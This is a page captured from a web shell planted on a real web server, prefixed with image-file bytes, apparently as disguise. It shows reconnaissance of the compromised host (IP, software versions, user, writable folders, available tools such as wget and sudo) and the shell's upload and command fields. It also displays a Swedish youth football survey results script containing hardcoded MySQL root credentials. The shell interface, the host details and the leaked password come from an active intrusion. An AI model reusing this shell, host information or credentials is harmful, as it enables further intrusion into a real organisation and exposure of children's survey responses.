????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.25
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/maif/folkhalsan/results/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/maif/folkhalsan/results/index_UNGDOM_10.php
<?php
$servername = "localhost";  // Ändra vid behov
$username = "root";         // Din MySQL-användare
$password = "root123";      // Lösenord för MySQL
$dbname = "Maif";           // Namn på databasen

// Skapa anslutning till MySQL
$conn = new mysqli($servername, $username, $password, $dbname);

// Kontrollera anslutningen
if ($conn->connect_error) {
    die("Anslutningen misslyckades: " . $conn->connect_error);
}

// Hämta alla svar från databasen grupperade efter lag
$sql = "SELECT * FROM MaifFormular ORDER BY team";

$result = $conn->query($sql);

// Funktion för att konvertera sifferbetyg till text
function getRatingText($value) {
    switch ($value) {
        case 4: return "Jättebra";
        case 3: return "OK";
        case 2: return "Inte helt OK";
        case 1: return "Dåligt";
        default: return ""; // Om värdet är ogiltigt eller saknas
    }
}

// Funktion för att beräkna medelvärde
function calculateAverage($values) {
    $average = count($values) > 0 ? round(array_sum($values) / count($values), 2) : 0;
    $average = round((($average / 4) * 10),2);
    return $average;
}

// Kontrollera om det finns resultat
if ($result->num_rows > 0) {
    $currentTeam = "";
    $ratings = [];
    $totalAverages = []; // För att hålla totalbetyg för alla lag

    echo "<meta charset='UTF-8'><style>
        table {
            border-collapse: collapse;
            width: 90%;
            margin-bottom: 30px;
        }
        th, td {
            padding: 8px;
            text-align: left;
            border: 1px solid #ddd;
        }
        th {
            background-color: #f2f2f2;
        }
        tr:hover {
            background-color: #f1f1f1;
        }
        .overall-average {
            font-weight: bold;
            background-color: #f2f2f2;
            text-align: right;
            padding: 10px;
        }
    </style>";
    
    // Skriv ut varje rad i tabellen
    while($row = $result->fetch_assoc()) {
        // Starta en ny tabell för varje lag
        if ($currentTeam !== $row['team']) {
            // Om det finns ett tidigare lag, visa medelvärden och avsluta tabellen
            if ($currentTeam !== "") {
                // Beräkna och visa medelvärden för varje kolumn
                echo "<tr style='font-weight: bold;'>";
                $teamTotal = 0;
                $numColumns = 0;

                foreach ($ratings as $key => $values) {
                    $average = calculateAverage($values);
                    echo "<td>" . $average . "</td>";
                    $teamTotal += $average;
                    $numColumns++;
                }
                echo "</tr></table>";

                // Visa total medelbetyg för laget
                $overallTeamAverage = $numColumns > 0 ? round($teamTotal / $numColumns, 2) : 0;
                echo "<div class='overall-average'>Totalt medelbetyg för $currentTeam: $overallTeamAverage</div>";
                $totalAverages[] = $overallTeamAverage;
            }

            // Återställ betyg och sätt det nya laget
            $currentTeam = $row['team'];
            $ratings = [
                'training_feeling' => [],
                'at_training_feeling' => [],
                'competition_feeling' => [],
                'learn_new_things' => [],
                'fun_exercises' => [],
                'feel_safe_with_coach' => [],
                'speak_freely_to_coach' => [],
                'coach_listens' => [],
                'coach_knowledge' => [],
                'coach_explains' => [],
                'coach_help' => [],
                'coach_praise' => [],
                'coach_encourage' => [],
                'friends_at_training' => [],
                'feel_safe_in_group' => [],
                'speak_freely_in_group' => [],
                'friends_listen' => [],
                'group_is_nice' => [],
                'am_good_friend' => [],
                'coach_solves_conflict' => [],
                'parents_cheer_all' => [],
                'parents_praise' => [],
                'parents_encourage' => []
            ];

            echo "<h2>Lag: " . htmlspecialchars($currentTeam) . "</h2>";
            echo "<table>
                    <tr>
                        <th>När jag går till träningen känner jag mig:</th>
                        <th>När jag är på träningen känner jag mig:</th>
                        <th>När jag spelar match känner jag mig:</th>
                        <th>Jag tycker att jag får lära mig nya saker på träningen:</th>
                        <th>Jag tycker att vi har roliga övningar på träningarna:</th>
                        <th>Jag känner mig trygg med mina ledare:</th>
                        <th>Jag vågar säga vad jag tycker till mina ledare:</th>
                        <th>Ledarna lyssnar på vad jag har att säga:</th>
                        <th>Ledarna har kunskap om fotboll:</th>
                        <th>Ledarna förklarar så att jag förstår:</th>
                        <th>Jag får hjälp av ledarna då jag behöver:</th>
                        <th>Ledarna ger mig beröm när jag har gjort något bra:</th>
                        <th>Ledarna uppmuntrar mig när det inte har gått så bra:</th>
                        <th>Jag har kompisar på träningen:</th>
                        <th>Jag känner mig trygg i gruppen:</th>
                        <th>Jag vågar säga vad jag tycker på träningen:</th>
                        <th>Mina kompisar lyssnar på vad jag har att säga:</th>
                        <th>Jag tycker att alla i gruppen är trevliga mot varandra:</th>
                        <th>Jag tycker att jag är en bra kompis:</th>
                        <th>Om någon bråkar hjälper ledaren till att reda ut saken:</th>
                        <th>Jag tycker att föräldrarna hejar på och uppmuntrar alla i laget/gruppen:</th>
                        <th>Föräldrarna ger beröm när det går bra:</th>
                        <th>Föräldrarna uppmuntrar och stöder när det inte går så bra:</th>
                    </tr>";
        }

        // Samla in betyg för medelvärdesberäkning
        foreach ($ratings as $key => &$values) {
            if (isset($row[$key]) && is_numeric($row[$key])) {
                $values[] = $row[$key];
            }
        }

        // Visa svaren
        echo "<tr>
                <td>" . getRatingText($row['training_feeling']) . "</td>
                <td>" . getRatingText($row['at_training_feeling']) . "</td>
                <td>" . getRatingText($row['competition_feeling']) . "</td>
                <td>" . getRatingText($row['learn_new_things']) . "</td>
                <td>" . getRatingText($row['fun_exercises']) . "</td>
                <td>" . getRatingText($row['feel_safe_with_coach']) . "</td>
                <td>" . getRatingText($row['speak_freely_to_coach']) . "</td>
                <td>" . getRatingText($row['coach_listens']) . "</td>
                <td>" . getRatingText($row['coach_knowledge']) . "</td>
                <td>" . getRatingText($row['coach_explains']) . "</td>
                <td>" . getRatingText($row['coach_help']) . "</td>
                <td>" . getRatingText($row['coach_praise']) . "</td>
                <td>" . getRatingText($row['coach_encourage']) . "</td>
                <td>" . getRatingText($row['friends_at_training']) . "</td>
                <td>" . getRatingText($row['feel_safe_in_group']) . "</td>
                <td>" . getRatingText($row['speak_freely_in_group']) . "</td>
                <td>" . getRatingText($row['friends_listen']) . "</td>
                <td>" . getRatingText($row['group_is_nice']) . "</td>
                <td>" . getRatingText($row['am_good_friend']) . "</td>
                <td>" . getRatingText($row['coach_solves_conflict']) . "</td>
                <td>" . getRatingText($row['parents_cheer_all']) . "</td>
                <td>" . getRatingText($row['parents_praise']) . "</td>
                <td>" . getRatingText($row['parents_encourage']) . "</td>
              </tr>";
    }

    // Visa sista lagets medelvärden och avsluta tabellen
    echo "<tr style='font-weight: bold;'>";
    $teamTotal = 0;
    $numColumns = 0;

    foreach ($ratings as $key => $values) {
        $average = calculateAverage($values);
        echo "<td>" . $average . "</td>";
        $teamTotal += $average;
        $numColumns++;
    }
    echo "</tr></table>";

    // Visa total medelbetyg för sista laget
    $overallTeamAverage = $numColumns > 0 ? round($teamTotal / $numColumns, 2) : 0;
    //$overallTeamAverage =  ($overallTeamAverage / 4) * 10;
    echo "<div class='overall-average'>Totalt medelbetyg för $currentTeam: $overallTeamAverage</div>";
    $totalAverages[] = $overallTeamAverage;

    // Summera och visa medelbetyg för alla lag tillsammans
    $overallTotalAverage = count($totalAverages) > 0 ? round(array_sum($totalAverages) / count($totalAverages), 2) : 0;
   // $overallTotalAverage =  ($overallTotalAverage / 4) * 10;
    echo "<div class='overall-average'>Total medelbetyg för alla lag: $overallTotalAverage</div>";

} else {
    echo "Inga svar har registrerats ännu.";
}

// Stäng anslutningen
$conn->close();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit